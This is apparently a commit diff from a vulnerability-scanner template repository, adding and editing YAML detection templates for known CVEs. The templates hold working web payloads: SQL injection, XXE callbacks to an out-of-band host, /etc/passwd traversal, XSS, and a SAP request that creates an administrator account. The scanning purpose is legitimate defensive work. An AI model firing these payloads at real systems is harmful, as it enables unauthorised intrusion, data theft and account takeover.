Auto Update README [Sun Jun 13 11:59:40 UTC 2021] 🤖

Merge pull request #1687 from skar4444/suman-kar
Wordpress DB Backup
2026-11-07 08:36:19 -10:00 · 2021-06-13 11:59:40 +00:00 · 2021-06-13 17:29:25 +05:30 · 2021-06-13 17:28:10 +05:30 · 2021-06-13 10:40:58 +00:00 · 2021-06-13 16:10:39 +05:30
285 changed files with 2498 additions and 381 deletions
@@ -41,7 +41,7 @@ An overview of the nuclei template directory including number of templates assoc
 | cves             | {countTpl("cves/*")}           | vulnerabilities | {countTpl("vulnerabilities/*")} | exposed-panels | {countTpl("exposed-panels")} |
 | takeovers        | {countTpl("takeovers")}        | exposures       | {countTpl("exposures/*")}       | technologies   | {countTpl("technologies")}   |
 | misconfiguration | {countTpl("misconfiguration")} | workflows       | {countTpl("workflows")}         | miscellaneous  | {countTpl("miscellaneous")}  |
-| default-logins   | {countTpl("default-logins/*")} | exposed-tokens  | {countTpl("exposed-tokens/*")}  | dns            | {countTpl("dns")}            |
+| default-logins   | {countTpl("default-logins/*")} | file            | {countTpl("file/*")}            | dns            | {countTpl("dns")}            |
 | fuzzing          | {countTpl("fuzzing")}          | helpers         | {countTpl("helpers/*")}         | iot            | {countTpl("iot")}            |

 **{command("tree", -2, None)}**.
@@ -38,13 +38,13 @@ An overview of the nuclei template directory including number of templates assoc

 | Templates        | Counts                         | Templates       | Counts                          | Templates      | Counts                       |
 | ---------------- | ------------------------------ | --------------- | ------------------------------- | -------------- | ---------------------------- |
-| cves             | 327           | vulnerabilities | 173 | exposed-panels | 145 |
-| takeovers        | 67        | exposures       | 104       | technologies   | 98   |
-| misconfiguration | 65 | workflows       | 32         | miscellaneous  | 22  |
-| default-logins   | 30 | exposed-tokens  | 0  | dns            | 9            |
-| fuzzing          | 9          | helpers         | 8         | iot            | 12            |
+| cves             | 337           | vulnerabilities | 179 | exposed-panels | 147 |
+| takeovers        | 67        | exposures       | 107       | technologies   | 100   |
+| misconfiguration | 68 | workflows       | 32         | miscellaneous  | 24  |
+| default-logins   | 30 | file            | 42            | dns            | 9            |
+| fuzzing          | 10          | helpers         | 8         | iot            | 13            |

-**111 directories, 1199 files**.
+**115 directories, 1276 files**.

 </td>
 </tr>
@@ -2,7 +2,7 @@ id: CVE-2013-2251

 info:
  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
-  author: exploitation & @dwisiswant0
+  author: exploitation,dwisiswant0
  severity: critical
  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
  reference: http://struts.apache.org/release/2.3.x/docs/s2-016.html
@@ -0,0 +1,32 @@
+id: arbitrary-file-read-in-dompdf
+
+info:
+  name: Arbitrary file read in dompdf < v0.6.0
+  author: 0x_Akoko
+  severity: high
+  reference: https://www.exploit-db.com/exploits/33004
+  tags: dompdf,lfi
+
+# - "/dompdf.php?input_file=C:/windows/win.ini"
+# - "/dompdf.php?input_file=/etc/passwd"
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/dompdf.php?input_file=dompdf.php"
+      - "{{BaseURL}}/PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=dompdf.php"
+      - "{{BaseURL}}/lib/dompdf/dompdf.php?input_file=dompdf.php"
+      - "{{BaseURL}}/includes/dompdf/dompdf.php?input_file=dompdf.php"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/pdf"
+          - 'filename="dompdf_out.pdf"'
+        part: header
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -2,7 +2,7 @@ id: CVE-2017-14849

 info:
  name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal
-  author: Random-Robbie
+  author: Random_Robbie
  severity: high
  description: Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.
  tags: cve,cve2017,nodejs,lfi
@@ -0,0 +1,30 @@
+id: CVE-2017-5487
+
+info:
+  name: WordPress Core < 4.7.1 - Username Enumeration
+  author: Manas_Harsh,daffainfo
+  severity: medium
+  description: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php in the REST API implementation in WordPress 4.7 before 4.7.1 does not properly restrict listings of post authors, which allows remote attackers to obtain sensitive information via a wp-json/wp/v2/users request.
+  tags: cve,cve2017,wordpress
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-5487
+      - https://www.exploit-db.com/exploits/41497
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-json/wp/v2/users/"
+      - "{{BaseURL}}/?rest_route=/wp/v2/users/"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - '"id":'
+          - '"name":'
+          - '"avatar_urls":'
+        condition: and
@@ -1,6 +1,6 @@
 id: CVE-2017-5638
 info:
-  author: Random Robbie
+  author: Random_Robbie
  name: Apache Struts2 RCE
  severity: critical
  description: Struts is vulnerable to remote command injection attacks through incorrectly parsing an attacker’s invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
@@ -2,7 +2,7 @@ id: CVE-2017-7269

 info:
  name: Windows Server 2003 & IIS 6.0 RCE
-  author: thomas_from_offensity & @geeknik
+  author: thomas_from_offensity,geeknik
  severity: critical
  description: Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If <http://" in a PROPFIND request.
  reference:
@@ -2,7 +2,7 @@ id: CVE-2017-7615

 info:
  name: CVE-2017-7615
-  author: bp0lr & dwisiswant0
+  author: bp0lr,dwisiswant0
  severity: high
  description: MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php.
  tags: cve,cve2017,mantisbt
@@ -0,0 +1,26 @@
+id: CVE-2017-9140
+
+info:
+  name: Reflected XSS - Telerik Reporting Module
+  author: dhiyaneshDk
+  severity: medium
+  tags: cve,cve2017,xss,telerik
+  description: Cross-site scripting (XSS) vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd.
+  reference: https://www.veracode.com/blog/secure-development/anatomy-cross-site-scripting-flaw-telerik-reporting-module
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - '#000000"onload="prompt(1)'
+          - 'Telerik.ReportViewer.axd?name=Resources'
+        condition: and
@@ -14,7 +14,7 @@ info:
 requests:
  - raw:
      - |
-        GET /plugins/servlet/oauth/users/icon-uri?consumerUri=https://{{interactsh-url}} HTTP/1.1
+        GET /plugins/servlet/oauth/users/icon-uri?consumerUri=http://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Connection: close
@@ -26,4 +26,4 @@ requests:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
-          - "http"
+          - "dns"
@@ -2,7 +2,7 @@ id: CVE-2017-9841

 info:
  name: CVE-2017-9841
-  author: Random-Robbie
+  author: Random_Robbie
  severity: high
  description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
  tags: cve,cve2017,php,phpunit,rce
@@ -2,7 +2,7 @@ id: CVE-2018-1000129

 info:
  name: Jolokia XSS
-  author: mavericknerd @0h1in9e
+  author: mavericknerd,0h1in9e
  severity: high
  description: An XSS vulnerability exists in the Jolokia agent version 1.3.7 in the HTTP servlet that allows an attacker to execute malicious javascript in the victim's browser.
  tags: cve,cve2018,jolokia,xss
@@ -2,7 +2,7 @@ id: CVE-2018-1000861

 info:
  name: Jenkins 2.138 Remote Command Execution
-  author: dhiyaneshDK & @pikpikcu
+  author: dhiyaneshDK,pikpikcu
  severity: critical
  reference: https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
  tags: cve,cve2018,jenkin,rce
@@ -2,7 +2,7 @@ id: CVE-2018-11409

 info:
  name: Splunk Sensitive Information Disclosure
-  author: Harsh Bothra
+  author: harshbothra_
  severity: medium
  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-11409
  tags: cve,cve2018,splunk
@@ -2,7 +2,7 @@ id: CVE-2018-11759

 info:
  name: Apache Tomcat JK Status Manager Access
-  author: Harsh Bothra
+  author: harshbothra_
  severity: medium
  reference: https://github.com/immunIT/CVE-2018-11759
  tags: cve,cve2018,apache
@@ -17,7 +17,12 @@ requests:
        words:
          - "application/x-shockwave-flash"
        part: header
+
      - type: word
        words:
          - "javascript:alert(1337)"
        part: body
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,23 @@
+id: rubedo-cms-directory-traversal
+
+info:
+  name: Rubedo CMS 3.4.0 - Directory Traversal
+  author: 0x_Akoko
+  severity: high
+  reference: https://www.exploit-db.com/exploits/45385
+  tags: rubedo,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -2,7 +2,7 @@ id: CVE-2018-19439

 info:
  name: Cross Site Scripting in Oracle Secure Global Desktop Administration Console
-  author: madrobot & dwisiswant0
+  author: madrobot,dwisiswant0
  severity: high
  description: XSS exists in the Administration Console in Oracle Secure Global Desktop 4.4 20080807152602 (but was fixed in later versions including 5.4)
  tags: cve,cve2018,oracle,xss
@@ -2,7 +2,7 @@ id: CVE-2018-20824

 info:
  name: Atlassian Jira WallboardServlet XSS
-  author: madrobot & dwisiswant0
+  author: madrobot,dwisiswant0
  severity: medium
  description: The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the cyclePeriod parameter.
  tags: cve,cve2018,atlassian,jira,xss
@@ -12,7 +12,7 @@ requests:
    path:
      - '{{BaseURL}}/OA_HTML/lcmServiceController.jsp'

-    body: <!DOCTYPE root PUBLIC "-//B/A/EN" "http://localhost:80">
+    body: <!DOCTYPE root PUBLIC "-//B/A/EN" "http://example.com">

    matchers-condition: and
    matchers:
@@ -22,4 +22,4 @@ requests:
        part: body
      - type: status
        status:
-          - 200
+          - 200
@@ -2,7 +2,7 @@ id: CVE-2019-15858

 info:
  name: Unauthenticated Woody Ad Snippets WordPress Plugin RCE
-  author: dwisiswant0 & fmunozs & patralos
+  author: dwisiswant0,fmunozs,patralos
  severity: high
  description: |
    This template supports the detection part only. See references.
@@ -2,7 +2,7 @@ id: CVE-2019-17382

 info:
  name: Zabbix Authentication Bypass
-  author: Harsh Bothra
+  author: harshbothra_
  severity: critical
  description: An issue was discovered in zabbix.php?action=dashboard.view&dashboardid=1 in Zabbix through 4.4. An attacker can bypass the login page and access the dashboard page, and then create a Dashboard, Report, Screen, or Map without any Username/Password (i.e., anonymously). All created elements (Dashboard/Report/Screen/Map) are accessible by other users and by an admin.
  reference: https://www.exploit-db.com/exploits/47467
@@ -1,7 +1,7 @@
 id: CVE-2019-17558
 info:
  name: Apache Solr 8.3.0 - Remote Code Execution via Velocity Template
-  author: pikpikcu & madrobot
+  author: pikpikcu,madrobot
  severity: critical
  refrense: https://nvd.nist.gov/vuln/detail/CVE-2019-17558
  tags: cve,cve2019,apache,rce,solr
@@ -2,7 +2,7 @@ id: CVE-2019-19985

 info:
  name: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download
-  author: KBA@SOGETI_ESEC, madrobot & dwisiswant0
+  author: KBA@SOGETI_ESEC,madrobot,dwisiswant0
  severity: medium
  description: The WordPress plugin, Email Subscribers & Newsletters, before 4.2.3 had a flaw that allowed unauthenticated file download with user information disclosure.
  refrense: https://www.exploit-db.com/exploits/48698
@@ -0,0 +1,28 @@
+id: CVE-2019-2616
+
+info:
+  name: XXE in Oracle Business Intelligence and XML Publisher
+  author: pdteam
+  severity: high
+  description: Oracle Business Intelligence / XML Publisher 11.1.1.9.0 / 12.2.1.3.0 / 12.2.1.4.0 - XML External Entity Injection
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2019-2616
+      - https://www.exploit-db.com/exploits/46729
+  tags: cve,cve2019,oracle,xxe,oob
+
+requests:
+  - raw:
+      - |
+        POST /xmlpserver/ReportTemplateService.xls HTTP/1.1
+        Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Content-Length: 76
+        Content-Type: text/xml; charset=UTF-8
+
+        <!DOCTYPE soap:envelope PUBLIC "-//B/A/EN" "http://{{interactsh-url}}">
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"
@@ -0,0 +1,23 @@
+id: CVE-2019-2767
+
+info:
+  name: Oracle Business Intelligence - Publisher XXE
+  author: madrobot
+  severity: high
+  description: Vulnerability in the BI Publisher (formerly XML Publisher) component of Oracle Fusion Middleware. The supported version that is affected are 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise BI Publisher (formerly XML Publisher).
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2019-2767
+      - https://www.exploit-db.com/exploits/46729
+  tags: cve,cve2019,oracle,xxe,oob
+
+requests:
+  - raw:
+      - |
+        GET /xmlpserver/convert?xml=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+"http%3a//{{interactsh-url}}/xxe.xml">%25sp%3b%25param1%3b]>&_xf=Excel&_xl=123&template=123 HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"
@@ -1,6 +1,6 @@
 id: CVE-2019-3396
 info:
-  author: Harsh Bothra
+  author: harshbothra_
  name: Atlassian Confluence Path Traversal
  severity: high
  description: The Widget Connector macro in Atlassian Confluence Server before version 6.6.12 (the fixed version for 6.6.x), from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x), allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.
@@ -11,7 +11,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}//secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"
+      - "{{BaseURL}}/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"

    matchers-condition: and
    matchers:
@@ -2,7 +2,7 @@ id: CVE-2019-8449

 info:
  name: JIRA Unauthenticated Sensitive Information Disclosure
-  author: Harsh Bothra
+  author: harshbothra_
  severity: medium
  description: The /rest/api/latest/groupuserpicker resource in Jira before version 8.4.0 allows remote attackers to enumerate usernames via an information disclosure vulnerability.
  reference: |
@@ -2,7 +2,7 @@ id: CVE-2019-9978

 info:
  name: WordPress social-warfare RFI
-  author: madrobot & dwisiswant0
+  author: madrobot,dwisiswant0
  severity: critical
  description: The social-warfare plugin before 3.5.3 for WordPress has stored XSS via the wp-admin/admin-post.php?swp_debug=load_options swp_url parameter, as exploited in the wild in March 2019. This affects Social Warfare and Social Warfare Pro.
  reference: https://github.com/mpgn/CVE-2019-9978
@@ -2,7 +2,7 @@ id: CVE-2020-12720

 info:
  name: CVE-2020-12720 vBulletin SQLI
-  author: pdnuclei - projectdiscovery.io
+  author: pdteam
  severity: critical
  description: vBulletin before 5.5.6pl1, 5.6.0 before 5.6.0pl1, and 5.6.1 before 5.6.1pl1 has incorrect access control.
  reference: https://github.com/rekter0/exploits/tree/master/CVE-2020-12720
@@ -0,0 +1,31 @@
+id: CVE-2020-36289
+
+info:
+  name: Atlassian Jira Unauth User Enumeration
+  author: dhiyaneshDk
+  severity: medium
+  description: Affected versions of Atlassian Jira Server and Data Center allow an unauthenticated user to enumerate users via an Information Disclosure vulnerability in the QueryComponentRendererValue!Default.jspa endpoint. The affected versions are before version 8.5.13, from version 8.6.0 before 8.13.5, and from version 8.14.0 before 8.15.1.
+  tags: cve,cve2020,jira,atlassian
+  reference: |
+      - https://twitter.com/ptswarm/status/1402644004781633540
+      - https://nvd.nist.gov/vuln/detail/CVE-2020-36289
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - 'rel=\"admin\"'
+
+      - type: word
+        words:
+          - 'application/json'
+        part: header
@@ -2,7 +2,7 @@ id: CVE-2020-5284

 info:
  name: Next.js .next/ limited path traversal
-  author: Harsh & Rahul & dwisiswant0
+  author: rootxharsh,iamnoooob,dwisiswant0
  severity: medium
  description: Next.js versions before 9.3.2 have a directory traversal vulnerability. Attackers could craft special requests to access files in the dist directory (.next). This does not affect files outside of the dist directory (.next). In general, the dist directory only holds build assets unless your application intentionally stores other assets under this directory. This issue is fixed in version 9.3.2.
  tags: cve,cve2020,nextjs,lfi
@@ -2,7 +2,7 @@ id: CVE-2020-5405

 info:
  name: Spring Cloud Directory Traversal
-  author: Harsh Bothra
+  author: harshbothra_
  severity: high
  description: Spring Cloud Config, versions 2.2.x prior to 2.2.2, versions 2.1.x prior to 2.1.7, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead a directory traversal attack.
  reference: https://pivotal.io/security/cve-2020-5405
@@ -2,7 +2,7 @@ id: CVE-2020-5902

 info:
  name: F5 BIG-IP TMUI RCE
-  author: madrobot & dwisiswant0 & ringo
+  author: madrobot,dwisiswant0,ringo
  severity: high
  description: In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.
  reference: |
@@ -1,7 +1,7 @@
 id: CVE-2020-6287

 info:
-  name: Create an Administrative User in SAP NetWeaver AS JAVA (LM Configuration Wizard)
+  name: SAP NetWeaver - Remote Admin addition
  author: dwisiswant0
  severity: critical
  tags: cve,cve2020,sap
@@ -11,24 +11,32 @@ info:
    - https://launchpad.support.sap.com/#/notes/2934135
    - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=552599675
    - https://www.onapsis.com/recon-sap-cyber-security-vulnerability
+    - https://github.com/chipik/SAP_RECON

 requests:
-  - payloads:
-      data: helpers/payloads/CVE-2020-6287.xml
-    raw:
+  - raw:
      - |
        POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=UTF-8
        Connection: close

-        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>{{base64('§data§')}}</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>
+          CiAgICAgICAgICAgIDxQQ0s+CiAgICAgICAgICAgIDxVc2VybWFuYWdlbWVudD4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT05GSUc+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+QWRtaW5pc3RyYXRvcjwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0NPTkZJRz4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgICAgPHJvbGVOYW1lPlRoaXNJc1JuZDczODA8L3JvbGVOYW1lPgogICAgICAgICAgICAgIDwvU0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgIDxTQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgPFNBUF9YSV9QQ0tfQURNSU4+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0FETUlOPgogICAgICAgICAgICAgIDxQQ0tVc2VyPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lIHNlY3VyZT0idHJ1ZSI+c2FwUnBvYzYzNTE8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+U2VjdXJlIVB3RDg4OTA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLVXNlcj4KICAgICAgICAgICAgICA8UENLUmVjZWl2ZXI+CiAgICAgICAgICAgICAgICA8dXNlck5hbWU+VGhpc0lzUm5kNzM4MDwvdXNlck5hbWU+CiAgICAgICAgICAgICAgICA8cGFzc3dvcmQgc2VjdXJlPSJ0cnVlIj5UaGlzSXNSbmQ3MzgwPC9wYXNzd29yZD4KICAgICAgICAgICAgICA8L1BDS1JlY2VpdmVyPgogICAgICAgICAgICAgIDxQQ0tNb25pdG9yPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lPlRoaXNJc1JuZDczODA8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+VGhpc0lzUm5kNzM4MDwvcGFzc3dvcmQ+CiAgICAgICAgICAgICAgPC9QQ0tNb25pdG9yPgogICAgICAgICAgICAgIDxQQ0tBZG1pbj4KICAgICAgICAgICAgICAgIDx1c2VyTmFtZT5UaGlzSXNSbmQ3MzgwPC91c2VyTmFtZT4KICAgICAgICAgICAgICAgIDxwYXNzd29yZCBzZWN1cmU9InRydWUiPlRoaXNJc1JuZDczODA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLQWRtaW4+CiAgICAgICAgICAgIDwvVXNlcm1hbmFnZW1lbnQ+CiAgICAgICAgICA8L1BDSz4KICAgIA==
+        </baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>
+
+      # userName - sapRpoc6351
+      # password - Secure!PwD8890
+
    matchers-condition: and
    matchers:
      - type: word
        words:
-          - "urn:CTCWebServiceSi"
+          - "CTCWebServiceSi"
+          - "SOAP-ENV"
        part: body
+        condition: and
+
      - type: status
        status:
          - 200
@@ -36,4 +44,5 @@ requests:
      - type: word
        words:
          - "text/xml"
-        part: header
+          - "SAP NetWeaver Application Server"
+        part: header
@@ -0,0 +1,21 @@
+id: CVE-2020-6308
+
+info:
+  name: Unauthenticated Blind SSRF in SAP
+  author: madrobot
+  severity: medium
+  reference: https://github.com/InitRoot/CVE-2020-6308-PoC
+  tags: cve,cve2020,sap,ssrf,oob
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/AdminTools/querybuilder/logon?framework='
+
+    body: aps={{interactsh-url}}&usr=admin&pwd=admin&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"
@@ -2,7 +2,7 @@ id: CVE-2020-8115

 info:
  name: Revive Adserver XSS
-  author: madrobot & dwisiswant0
+  author: madrobot,dwisiswant0
  severity: medium
  description: |
    A reflected XSS vulnerability has been discovered in the publicly accessible afr.php delivery script of Revive Adserver <= 5.0.3 by Jacopo Tediosi. There are currently no known exploits: the session identifier cannot be accessed as it is stored in an http-only cookie as of v3.2.2. On older versions, however, under specific circumstances, it could be possible to steal the session identifier and gain access to the admin interface. The query string sent to the www/delivery/afr.php script was printed back without proper escaping in a JavaScript context, allowing an attacker to execute arbitrary JS code on the browser of the victim.
@@ -2,7 +2,7 @@ id: CVE-2020-8512

 info:
  name: IceWarp WebMail XSS
-  author: pdnuclei & dwisiswant0
+  author: pdteam,dwisiswant0
  severity: medium
  description: In IceWarp Webmail Server through 11.4.4.1, there is XSS in the /webmail/ color parameter.
  reference: |
@@ -1,7 +1,7 @@
 id: CVE-2021-22986
 info:
  name: F5 BIG-IP iControl REST unauthenticated RCE
-  author: Harsh Jaiswal (@rootxharsh) & Rahul Maini (@iamnoooob)
+  author: rootxharsh,iamnoooob
  severity: critical
  tags: bigip,cve,cve2021,rce
  description: The iControl REST interface has an unauthenticated remote command execution vulnerability.
@@ -0,0 +1,33 @@
+id: CVE-2021-24285
+
+info:
+  name: Car Seller - Auto Classifieds Script WordPress plugin SQLI
+  author: ShreyaPohekar
+  severity: critical
+  description: The request_list_request AJAX call of the Car Seller - Auto Classifieds Script WordPress plugin through 2.1.0, available to both authenticated and unauthenticated users, does not sanitise, validate or escape the order_id POST parameter before using it in a SQL statement, leading to a SQL Injection issue.
+  tags: cve,cve2021,wordpress,wp-plugin,sqli
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2021-24285
+      - https://codevigilant.com/disclosure/2021/wp-plugin-cars-seller-auto-classifieds-script-sql-injection/
+      - https://wpscan.com/vulnerability/f35d6ab7-dd52-48b3-a79c-3f89edf24162
+
+requests:
+  - raw:
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+        Content-Length: 47
+
+        action=request_list_request&order_id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a767671,0x685741416c436654694d446d416f717a6b54704a457a5077564653614970664166646654696e724d,0x7171786b71),NULL-- -
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "qzvvqhWAAlCfTiMDmAoqzkTpJEzPwVFSaIpfAfdfTinrMqqxkq"
+        part: body
@@ -0,0 +1,34 @@
+id: CVE-2021-24316
+
+info:
+  author: 0x_Akoko
+  description: Mediumish WordPress Theme <= 1.0.47 - Unauthenticated Reflected XSS & XFS.
+  name: An Unauthenticated Reflected XSS & XFS Mediumish theme through 1.0.47 for WordPress
+  severity: medium
+  tags: cve,cve2021,mediumish,xss,wordpress
+  reference: |
+      - https://wpscan.com/vulnerability/57e27de4-58f5-46aa-9b59-809705733b2e
+      - https://m0ze.ru/vulnerability/%5B2021-03-14%5D-%5BWordPress%5D-%5BCWE-79%5D-Mediumish-WordPress-Theme-v1.0.47.txt
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/?post_type=post&s=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3C/script%3E '
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "<script>alert(/{{randstr}}/)</script>"
+          - "Sorry, no posts matched your criteria."
+        part: body
+        condition: and
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -2,7 +2,7 @@ id: rabbitmq-default-admin

 info:
  name: RabbitMQ Default Credentials
-  author: fyoorer & dwisiswant0
+  author: fyoorer,dwisiswant0
  severity: high
  tags: rabbitmq,default-login

@@ -2,7 +2,7 @@ id: dead-host-with-cname

 info:
  name: dead-host-with-cname
-  author: pdnuclei - projectdiscovery.io
+  author: pdteam
  severity: info
  tags: dns

@@ -1,7 +1,7 @@
 id: adminer-panel
 info:
  name: Adminer Login panel
-  author: random-robbie & meme-lord
+  author: random_robbie,meme-lord
  severity: info
  reference: https://blog.sorcery.ie/posts/adminer/
  tags: panel
@@ -6,7 +6,7 @@ info:
  description: CirCarLife is an internet-connected electric vehicle charging station
  reference: https://circontrol.com/
  severity: critical
-  tags: scada,circontrorl,circarlife,setup,exposure
+  tags: scada,circontrorl,circarlife,setup,exposure,panel

 requests:
  - method: GET
@@ -4,7 +4,7 @@ info:
  name: Exposed Nomad Jobs
  author: pdteam
  severity: high
-  tags: nomad,devops,hashicorp
+  tags: nomad,devops,hashicorp,panel
  reference: https://www.nomadproject.io/docs/internals/security

 requests:
@@ -2,9 +2,9 @@ id: jira-detect

 info:
  name: Detect Jira Issue Management Software
-  author: pdteam
+  author: pdteam,philippedelteil
  severity: info
